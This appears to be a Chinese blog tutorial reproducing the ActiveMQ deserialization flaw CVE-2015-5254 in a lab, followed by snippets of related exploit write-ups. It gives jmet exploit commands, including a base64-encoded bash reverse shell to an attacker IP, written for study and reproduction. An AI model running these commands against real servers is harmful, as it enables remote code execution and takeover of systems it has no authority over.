漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)

基础知识

MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。

  • 队列:消息存在队列中,发送和接收都是异步的
  • 主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式

MQ解决的问题:

  • 解耦:新模块接入时,代码改动最小
  • 消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮
  • 异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系统的吞吐能力

产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ

ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

漏洞原理

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

复现环境

将ActiveMQ部署在MAC上,使用版本为apache-activemq-5.11.1,MAC上有JDK1.7和JDK1.8两个版本(应使用JDK1.7)。

漏洞利用库jmet-0.1.0-all.jarhttps://github.com/matthiaskaiser/jmet

复现过程

参考官方教程:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md

1. 安装和启动ActiveMQ

  • 解压:tar -zxvf apache-activemq-5.11.0-bin.tar.gz,新建文件夹myactiveMQ,把解压的压缩包pache-activemq-5.11.0拷过去
  • 终端进入myactiveMQ/pache-activemq-5.11.0/bin
  • 启动命令:./activemq start (默认端口61616)

2. 写code给ActiveMQ发送和接收消息(为了加深理解,不是必须步骤)

消息发送方:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsProduce {

    public static final String ACTIVEMQ_URL="tcp://localhost:61616";
    public static final String QUEUE_NAME="queue01";

    public static void main(String[] args) throws JMSException {

        //采用默认用户名和密码
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(QUEUE_NAME);

        MessageProducer messageProducer = session.createProducer(queue);
        //使用messageProducer生产3条消息发送到MQ队列
        for (int i=0;i<3;i++){
            TextMessage textMessage=session.createTextMessage("msg----"+i);
            messageProducer.send(textMessage);
        }

        messageProducer.close();
        session.close();
        connection.close();

        System.out.println("******消息发布到MQ完成******");
    }
}

消息接收方:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsConsumer {

    public static final String ACTIVEMQ_URL = "tcp://localhost:61616";
    public static final String QUEUE_NAME = "queue01";

    public static void main(String[] args) throws JMSException {

        //采用默认用户名和密码
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(QUEUE_NAME);

        MessageConsumer messageConsumer = session.createConsumer(queue);
        while (true) {

            TextMessage textMessage = (TextMessage) messageConsumer.receive();
            if (textMessage != null) {
                System.out.println("******接收道消息:" + textMessage.getText());
            } else {
                break;
            }
        }

        messageConsumer.close();
        session.close();
        connection.close();
    }
}

发送消息后查看队列:

接收消息后查看队列:

3. 漏洞利用

下载:jmet-0.1.0-all.jar,在同目录下新建external文件夹(表问为什么,建了就是了)

(1) 执行恶意命令

执行命令:

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.101.9 61616

命令执行之后,打开ActiveMQ控制台,会发现新建了一个名为event的队列,并发送了一条消息:

此时只要在控制台点击查看该消息,就会在apache-activemq-5.11.1/tmp下面新建一个名为sucess的文件(如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功),然而我在打开消息详情页面的时候报错了:

排查之后,发现是jdk版本和activeMQ版本不匹配造成的(刚开始我用的jdk1.8),5.11版本应使用jdk1.7。切换jdk版本后再试一次,查看消息成功:

命令执行成功,说明执行任意代码的漏洞确实存在:

(2) 反弹shell

执行命令:

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -Y "bash -c {echo YmFzaCAtaSAmZ3Q7Ji9kZXYvdGNwLzE5Mi4xNjguMTAxLjE0LzEzMTQgMCZndDsmMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.101.9 61616

反弹成功:

如需转载,请注明出处,这是对他人劳动成果的尊重~

原文地址:https://www.cnblogs.com/sallyzhang/p/12289983.html

时间: 2024-10-08 14:13:58

漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)的相关文章

2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254

文章仅仅学习使用,所有步骤均来自网络,博主无法鉴别判断用户使用本网站教程及软件的真实用途,敬请用户在本国法律所允许范围内使用,用户一旦因非法使用而违反国家相关的法律法规,所造成的一切不良后果由该用户独立承担,博主不负责也不承担任何直接间接或连带等法律责任. *文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. ActiveMQ反序列化漏洞,CVE-2015-5254 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会

ActiveMQ反序列化漏洞(CVE-2015-5254)

1.漏洞介绍:Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码. 2.漏洞利用过程如下: ①构造可执行命令的序列化对象②作为一个消息,发送到目标61616端

漏洞复现 - ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞原理 fileserver是Apache ActiveM提供的一个RESTful API接口,可通过GET.PUT.DELETE等HTTP请求对文件进行读写操作,设计目的是为了弥补消息队列操作不能传输.存储二进制文件的缺陷,在文件操作过程中出现了任意文件读写漏洞. 影响版本 5.12.x之前的版本. 复现环境 将ActiveMQ部署在MAC上,使用版本为apache-activemq-5.11.1,JDK版本为1.7 复现过程 启动ActiveMQ,并尝试上传jsp木马,返回401,上传时失

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

WebLogic反序列化漏洞导致getshell

本文主要是讲述在主机渗透中我们经常使用的一条路径(存活判断-端口扫描-端口删选(web端口)-针对性渗透(web渗透))进行渗透,其中主要涉及发现漏洞.利用漏洞.获取上传位置等过程中自己的一点经验技巧.简单来说,本文主要是对某主机进行渗透的全过程记录!如有不合理或错误的地方,烦请各位多多指教,谢谢! 1.1    主机存活判断 当我们得到一个主机IP时,我们首先对它进行存活判断,最简单的就是通过ping命令,但是如果主机是禁ping那么我们可能会判断失误,因此我们需要使用nmap来再次进行存活判

weblogic AND jboss 反序列化漏洞

C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF server/$CONFIG/deploy/http-invoker.sar/http-invoker.war/WEB-INF/w eb.xml 文件,将标签中的 url-pattern 修改为/*,并注释掉其中的两个 http-method. 1.weblogic反序列化漏洞 通过java反序列化漏洞利用

DHCP命令执行CVE-2018-1111漏洞复现

DHCP命令执行_CVE-2018-1111漏洞复现 一.漏洞描述 在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞,攻击者可以通过本地网络上的恶意DHCP服务器或者使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令. 二.漏洞影响版本 Red hat 6.x.7.x Centos 6.x.7.x 三.漏

[CMS]Joomla 3.4.6-RCE漏洞复现

0x00:简介 1.Joomla是一套全球有名的CMS系统. 2.Joomla基于PHP语言加上MySQL数据库所开发出来的WEB软件系统,目前最新版本是3.9.12. 3.Joomla可以在多种不同的平台上部署并且运行. 0x01 环境配置 RCE:https://github.com/momika233/Joomla-3.4.6-RCE 环境下载:https://downloads.joomla.org/it/cms/joomla3/3-4-6 0x02 漏洞复现 2.1 漏洞位置 http

6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE-2017-12149 ),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码. 漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大. 0x01. 漏洞复现 1). 环境准备 JBOSS 下载地址:http://download.jboss.org/jbossas